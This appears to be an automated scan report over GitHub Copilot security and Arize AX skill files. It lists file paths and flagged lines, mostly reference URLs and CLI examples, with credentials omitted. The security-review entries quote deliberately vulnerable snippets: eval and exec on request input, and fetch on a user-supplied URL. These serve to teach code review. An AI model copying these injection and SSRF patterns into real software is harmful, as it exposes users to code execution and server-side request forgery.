| CCPA | "Most expedient time" | Cal. Civ. Code § 1798.82 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.82 | - Network accessline 153
| Singapore PDPA | 3 calendar days | PDPA Section 26D — https://sso.agc.gov.sg/Act/PDPA2012 | - Network accessline 154
| Australia Privacy Act | 30 days | Privacy Act 1988, APP 1 + NDB Scheme — https://www.oaic.gov.au/privacy/notifiable-data-breaches | - Network accessline 155
| LGPD Brazil | 2 business days (ANPD guidance) | ANPD Resolution CD/ANPD nº 2/2022 — https://www.gov.br/anpd/pt-br | - Network accessline 156
| Japan APPI | 3–5 business days (2022 amendment) | Act on Protection of Personal Information Art. 26 — https://www.ppc.go.jp/en/legal/ | - Network accessline 157
| PIPEDA Canada | "As soon as feasible" | PIPEDA s.10.1 — https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/ | - Network accessline 165
| Component | Based on | |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | - Network accessline 166
|-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https:/ - Network accessline 167
| Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | - Network accessline 168
| Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https://www.fairinstitute.org/ | - Network accessline 169
| Population Scale normalization | CVSS v4.0 Attack Scale metric — https://www.first.org/cvss/v4-0/ | - Network accessline 170
| Context multipliers | GDPR recitals 75, 91 (special categories increase risk level) — https://gdpr-info.eu/recitals/no-75/ |
harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/blast-radius-calculator.md
- Network accessline 237
Use these when no specific cost data is available. Figures below are from the **IBM 2024 edition**. IBM publishes a new edition annually at https://www.ibm.com/reports/data-breach — the 2025 report reports a ~9% decrease in global average c
harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/data-classification.md
harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/hardening-playbook.md
harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/regulatory-impact.md
- Network accessline 150
**Legal source:** GDPR Article 83 — https://gdpr-info.eu/art-83-gdpr/ - Network accessline 190
**Legal source:** California Civil Code § 1798.155(a) (as amended June 30, 2025, Stats. 2025, Ch. 20) — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 191
**Private right of action source:** California Civil Code § 1798.150 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 222
**Legal source:** 45 CFR § 160.404 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 223
**HHS enforcement page:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html - Network accessline 247
**Legal source:** Lei nº 13.709/2018 (LGPD) — Article 52, I — https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 248
**ANPD (Brazilian DPA):** https://www.gov.br/anpd/pt-br - Network accessline 282
**Benchmark source:** IBM Security + Ponemon Institute — "Cost of a Data Breach Report" (annually updated) **URL:** https://www.ibm.com/reports/data-breach Figures below are from the **2024 edition** (last verified). IBM 2025 shows a 9% - Network accessline 283
**URL:** https://www.ibm.com/reports/data-breach
harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/report-format.md
- Network accessline 263
*This report was generated by the [data-breach-blast-radius](https://github.com/github/awesome-copilot/tree/main/skills/data-breach-blast-radius) skill for GitHub Copilot.*
harness/github-copilot/plugins/application-security/skills/gdpr-compliant/references/Security.md
harness/github-copilot/plugins/application-security/skills/secret-scanning/SKILL.md
- Network accessline 153
- [Secret scanning in AI coding agents via the GitHub MCP Server](https://github.blog/changelog/2026-03-17-secret-scanning-in-ai-coding-agents-via-the-github-mcp-server/)
harness/github-copilot/plugins/application-security/skills/secret-scanning/references/push-protection.md
- Network accessline 155
For the full list of patterns supported by push protection, see [Supported secret scanning patterns](https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns).
harness/github-copilot/plugins/application-security/skills/security-review/references/language-patterns.md
- Dangerous shell operationline 11
eval() // arbitrary code execution - Dangerous shell operationline 87
eval(request.args.get('expr')) - Network accessline 116
// XXE DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true) - Network accessline 118
// Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true) - Dangerous shell operationline 143
eval($_POST['code']); - Dangerous shell operationline 192
eval(params[:code])
harness/github-copilot/plugins/application-security/skills/security-review/references/report-format.md
- Network accessline 114
Action Required: 1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com - Network accessline 115
1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted]
harness/github-copilot/plugins/application-security/skills/security-review/references/secret-patterns.md
- Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted]
harness/github-copilot/plugins/application-security/skills/security-review/references/vuln-categories.md
- Dangerous shell operationline 46
- `eval()`, `setTimeout(string)`, `setInterval(string)` with user data - Dangerous shell operationline 61
exec(userInput) - Dangerous shell operationline 71
eval(user_input) - Dangerous shell operationline 76
exec($input) - Network accessline 100
fetch(req.body.url) - Access to secretsline 171
[Credential-related source omitted]
harness/github-copilot/plugins/application-security/skills/security-review/references/vulnerable-packages.md
harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/analysis-principles.md
- Network accessline 184
Reference: https://owasp.org/Top10/2025/ - Network accessline 387
### SDL Bugbar Severity Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar - Network accessline 388
Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar - Network accessline 390
### CVSS 4.0 Score Use CVSS v4.0 Base score (0.0-10.0) with vector string. Reference: https://www.first.org/cvss/v4.0/specification-document - Network accessline 392
Reference: https://www.first.org/cvss/v4.0/specification-document - Network accessline 394
### CWE Assign Common Weakness Enumeration ID and name. Reference: https://cwe.mitre.org/ - Network accessline 396
Reference: https://cwe.mitre.org/ - Network accessline 399
Map to OWASP Top 10:2025 category if applicable (A01-A10). **ALWAYS use `:2025` suffix** (e.g., `A01:2025`), never `:2021`. Reference: https://owasp.org/Top10/2025/ - Network accessline 401
Reference: https://owasp.org/Top10/2025/
harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/orchestrator.md
- Network accessline 50
20. **Deployment Classification is BINDING.** In `0.1-architecture.md`, set `Deployment Classification` and fill the Component Exposure Table. If classification is `LOCALHOST_DESKTOP` or `LOCALHOST_SERVICE`: zero T1 findings, zero `Prerequi - Network accessline 51
21. Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03... Renumber after sorting 22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication` 23. After STRIDE, run - Network accessline 52
22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication`
harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/output-formats.md
- Network accessline 369
| SDL Bugbar Severity | Critical / Important / Moderate / Low | | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink - Network accessline 370
| CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.ht - Network accessline 371
| CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`) | - Network accessline 387
| SDL Bugbar Severity | Critical | | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | - Network accessline 388
| CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | | OWASP | A07:2025 – Authentication Fail - Network accessline 389
| CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | - Network accessline 614
| Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 615
|----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 616
| Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 617
| OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 618
| CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring | - Network accessline 619
| CWE | https://cwe.mitre.org/ | Weakness classification | - Network accessline 620
| STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration methodology | - Network accessline 621
| NIST SP 800-53 Rev. 5 | https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final | Control mapping | - Network accessline 624
| Component | Documentation URL | Relevant Section | |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | - Network accessline 625
|-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authenticati - Network accessline 626
| [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | - Network accessline 627
| [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authentication] | - Network accessline 630
**Processing Rules:** 1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column - Network accessline 631
1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column 3. Populate Component Documentation with technologies actually c - Network accessline 632
2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column - Network accessline 709
21. Skipping `## Report Files`, `## References Consulted`, or `## Report Metadata` → ALL 7 sections in 0-assessment.md are MANDATORY. Never omit any. 22. Finding IDs out of order (FIND-06 before FIND-04) → Finding IDs MUST be sequential - Network accessline 710
22. Finding IDs out of order (FIND-06 before FIND-04) → Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03, ... Renumber after sorting. 23. CWE without hyperlink → CWE MUST include hyperlink: `[CWE-306](https://cwe. - Network accessline 711
23. CWE without hyperlink → CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function` - Network accessline 732
"branch": "main", "analysis_timestamp": "2025-08-15T14:30:00Z", "repository": "https://github.com/org/repo", - Network accessline 733
"analysis_timestamp": "2025-08-15T14:30:00Z", "repository": "https://github.com/org/repo", "report_folder": "threat-model-20250815-143000", - Network accessline 734
"repository": "https://github.com/org/repo", - Access to secretsline 948
[Credential-related source omitted]
harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/skeletons/skeleton-assessment.md
- Network accessline 191
| Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 192
|----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 193
| Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 194
| OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 195
| CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring | - Network accessline 196
| CWE | https://cwe.mitre.org/ | Weakness classification | - Network accessline 197
| STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration | - Network accessline 256
| **Incremental Tags** | `[Existing]` · `[Fixed]` · `[Partial]` · `[New]` · `[Removed]` (incremental reports only) | | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.or - Network accessline 257
| **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) | | **OWASP** | OWASP Top 10:2025 mapping (e.g., A01:2025 – Broken Access Control) | - Network accessline 258
| **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) |
harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/skeletons/skeleton-findings.md
- Network accessline 23
| SDL Bugbar Severity | [FILL: Critical / Important / Moderate / Low] | | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): - Network accessline 24
| CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | | OWASP | A[FILL: NN]:2025 – [FILL: category nam - Network accessline 25
| CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | - Network accessline 84
| SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 85
| CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] | - Network accessline 86
| CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 128
| SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 129
| CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] | - Network accessline 130
| CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/tmt-element-taxonomy.md
- Network accessline 67
| TMT ID | Name | Code Patterns to Identify | |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | - Network accessline 68
|--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints | - Network accessline 69
| `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | - Network accessline 70
| `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints | - Network accessline 124
| Flow Type | Code Patterns | |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | - Network accessline 125
|-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | | **SQL Database** | ORM queries, SQL connections, `DbContext` | - Network accessline 126
| **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |
harness/github-copilot/plugins/application-security/skills/threat-model-analyst/references/verification-checklist.md
- Network accessline 29
- [ ] Every `#### Evidence` section cites specific file paths, line numbers, or config keys (not generic statements like "found in codebase") - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, - Network accessline 30
- [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, `OWASP`, `Exploitation Prerequisites`, `Exploitability Tier`, `Remediation Effort`, `Mitigation Type`, `Component`, `Related Threats` - [ ] E - Network accessline 31
- [ ] Every CWE value is a hyperlink: contains `](https://cwe.mitre.org/` (not plain text like `CWE-79`) - Network accessline 170
- [ ] **References Consulted as flat table **— Search for `| Reference | Usage |` pattern. Two-column flat table → Two subsections: `### Security Standards` with `| Standard | URL | How Used |` and `### Component Documentation` with `| Comp - Network accessline 171
- [ ] **References missing URLs **— Every row in References Consulted tables must have a full `https://` URL. Missing URL column or empty URLs → Full URLs in every row - Network accessline 177
- [ ] **CVSS score without vector or missing prefix **— Grep each finding's CVSS field. The value MUST match pattern: `\d+\.\d+ \(CVSS:4\.0/AV:`. Specifically check for the `CVSS:4.0/` prefix — the most common deviation is outputting the ve - Network accessline 178
- [ ] **CWE without hyperlink **— Grep for `CWE-\d+` without preceding `[`. `CWE-78: OS Command Injection` → `[CWE-78](https://cwe.mitre.org/data/definitions/78.html): OS Command Injection`
harness/github-copilot/plugins/application-security/skills/tm7-threat-model/SKILL.md
- Network accessline 60
<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> - Network accessline 77
| Prefix | URI | Used for | |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | - Network accessline 78
|--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes | - Network accessline 79
| (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | - Network accessline 80
| `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes | - Network accessline 81
| `xmlns:z` | `http://schemas.microsoft.com/2003/10/Serialization/` | Reference ids (`z:Id`) | - Network accessline 82
| `xmlns:a` | `http://schemas.microsoft.com/2003/10/Serialization/Arrays` | Arrays / collections | - Network accessline 83
| `xmlns:b` | `http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase` | Stencil properties | - Network accessline 84
| `xmlns:c` | `http://www.w3.org/2001/XMLSchema` | Primitive type values | - Network accessline 150
<b:DisplayName>Name</b:DisplayName> <b:Name/> <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> - Network accessline 151
<b:Name/> <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> </a:anyType> - Network accessline 152
<b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> - Network accessline 309
8. **Missing the `xmlns` on child elements** — each `GenericTypeId`, `Guid`, `Properties`, `TypeId`, etc. must carry its own `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. - Network accessline 310
`TypeId`, etc. must carry its own `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. 9. **Pretty-printing with indentation** — the correct output is a single continuous XML stream - Network accessline 311
`xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. - Network accessline 360
- [ ] The file starts with `<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">` and has no XML declaration. - Network accessline 370
- [ThreatModeling.Model namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model) - Network accessline 371
- [ThreatModeling.Model.Abstracts namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts) - Network accessline 372
- [ThreatModeling.KnowledgeBase namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase) - Network accessline 373
- [Serialization namespace](http://schemas.microsoft.com/2003/10/Serialization/) - Network accessline 374
- [Serialization arrays namespace](http://schemas.microsoft.com/2003/10/Serialization/Arrays) - Network accessline 375
- [XML Schema namespace](http://www.w3.org/2001/XMLSchema) - Network accessline 376
- [XML Schema instance namespace](http://www.w3.org/2001/XMLSchema-instance)
harness/github-copilot/plugins/application-security/skills/tm7-threat-model/assets/example-minimal.tm7
- Network accessline 1
<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><DrawingSurfaceList><DrawingSurfaceModel z:Id="i1" xmlns:z="http://schemas.microsoft.com/2003/10/Serializa
harness/github-copilot/plugins/arize-ax/skills/arize-ai-provider-integration/SKILL.md
- Access to secretsline 48
[Credential-related source omitted] - Network accessline 105
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Network accessline 106
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Network accessline 107
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Network accessline 109
| `vertexAI` | `ax ai-integrations create --name "My Vertex AI Integration" --provider vertexAI --provider-metadata '{"project_id": "my-gcp-project", "location": "us-central1"}'` | | `gemini` | `ax ai-integrations create --name "My Gemini I - Network accessline 110
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Network accessline 111
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 112
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 131
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Network accessline 133
ax ai-integrations update NAME_OR_ID --base-url "https://new-endpoint.example.com/v1" - Network accessline 148
| --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.m - Network accessline 149
| `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct use - Network accessline 150
| `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct users without a key to https://app.arize.com/admin > API Keys. | - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 215
- [Arize API Keys](https://app.arize.com/admin) - Network accessline 216
- [Azure OpenAI endpoint example](https://my-resource.openai.azure.com/) - Network accessline 217
- [NVIDIA NIM endpoint example](https://integrate.api.nvidia.com/v1/models) - Network accessline 218
- [Custom OpenAI-compatible endpoint example](https://my-llm-proxy.example.com/v1) - Network accessline 219
- [Updated endpoint example](https://new-endpoint.example.com/v1)
harness/github-copilot/plugins/arize-ax/skills/arize-ai-provider-integration/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/arize-ax/skills/arize-annotation/SKILL.md
- Network accessline 27
- Use `ax profiles show` only after an authorization or profile error. - Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. - If the user - Network accessline 29
- If the user needs an API key, direct them to https://app.arize.com/admin > API Keys. - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Network accessline 207
| `ax: command not found` or `command not found` | CLI absent. | Read `references/ax-setup.md`. | | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run - Network accessline 208
| Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/ - Network accessline 209
| `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/admin > API Keys. |
harness/github-copilot/plugins/arize-ax/skills/arize-annotation/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/arize-ax/skills/arize-dataset/SKILL.md
- Network accessline 43
If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is - Network accessline 44
- `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof - Network accessline 45
- `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir
harness/github-copilot/plugins/arize-ax/skills/arize-dataset/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/arize-ax/skills/arize-evaluator/SKILL.md
- Network accessline 28
| --- | --- | | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks - Network accessline 29
| `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct - Network accessline 30
| `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct them to https://app.arize.com/admin > API Keys. | - Access to secretsline 32
[Credential-related source omitted] - Network accessline 86
Never fabricate evaluation results. If a task fails, is cancelled, or produces no scores, report the failure and explain what happened. Do not perform a manual evaluation, invent quality scores, estimate percentages, or present agent analys - Network accessline 143
- [Arize admin API keys](https://app.arize.com/admin) - Network accessline 144
- [Arize support](https://arize.com/support)
harness/github-copilot/plugins/arize-ax/skills/arize-evaluator/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
